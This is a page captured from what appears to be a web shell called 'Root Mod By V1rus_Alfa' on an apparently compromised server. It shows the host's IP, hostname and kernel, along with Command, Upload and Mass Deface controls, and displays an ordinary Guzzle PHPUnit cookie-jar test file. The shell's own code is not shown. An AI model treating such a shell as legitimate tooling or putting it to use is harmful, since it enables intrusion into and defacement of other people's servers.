���Root Mod By V1rus_Alfa
User / IP
:
216.73.216.158
Host / Server
:
195.214.235.115 / npln.ir
System
:
Linux damavand.pws-dns.net 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
Command
|
Upload
|
Mass Deface
|
Create
:
/
home2
/
cutunixc
/
repositories
/
cutunix
/
vendor
/
guzzlehttp
/
guzzle
/
tests
/
Cookie
/
Viewing: SessionCookieJarTest.php
<?php namespace GuzzleHttp\Tests\CookieJar; use GuzzleHttp\Cookie\SessionCookieJar; use GuzzleHttp\Cookie\SetCookie; use PHPUnit\Framework\TestCase; /** * @covers \GuzzleHttp\Cookie\SessionCookieJar */ class SessionCookieJarTest extends TestCase { private $sessionVar; public function setUp(): void { $this->sessionVar = 'sessionKey'; if (!isset($_SESSION)) { $_SESSION = []; } } public function testValidatesCookieSession() { $_SESSION[$this->sessionVar] = 'true'; $this->expectException(\RuntimeException::class); new SessionCookieJar($this->sessionVar); } public function testLoadsFromSession() { $jar = new SessionCookieJar($this->sessionVar); self::assertSame([], $jar->getIterator()->getArrayCopy()); unset($_SESSION[$this->sessionVar]); } /** * @dataProvider providerPersistsToSessionParameters */ public function testPersistsToSession($testSaveSessionCookie = false) { $jar = new SessionCookieJar($this->sessionVar, $testSaveSessionCookie); $jar->setCookie(new SetCookie([ 'Name' => 'foo', 'Value' => 'bar', 'Domain' => 'foo.com', 'Expires' => \time() + 1000, ])); $jar->setCookie(new SetCookie([ 'Name' => 'baz', 'Value' => 'bar', 'Domain' => 'foo.com', 'Expires' => \time() + 1000, ])); $jar->setCookie(new SetCookie([ 'Name' => 'boo', 'Value' => 'bar', 'Domain' => 'foo.com', ])); self::assertCount(3, $jar); unset($jar); // Make sure it wrote to the sessionVar in $_SESSION $contents = $_SESSION[$this->sessionVar]; self::assertNotEmpty($contents); // Load the cookieJar from the file $jar = new SessionCookieJar($this->sessionVar); if ($testSaveSessionCookie) { self::assertCount(3, $jar); } else { // Weeds out temporary and session cookies self::assertCount(2, $jar); } unset($jar); unset($_SESSION[$this->sessionVar]); } public function providerPersistsToSessionParameters() { return [ [false], [true], ]; } }
Coded With 💗 by
0x6ick Mod By V1rus_Alfa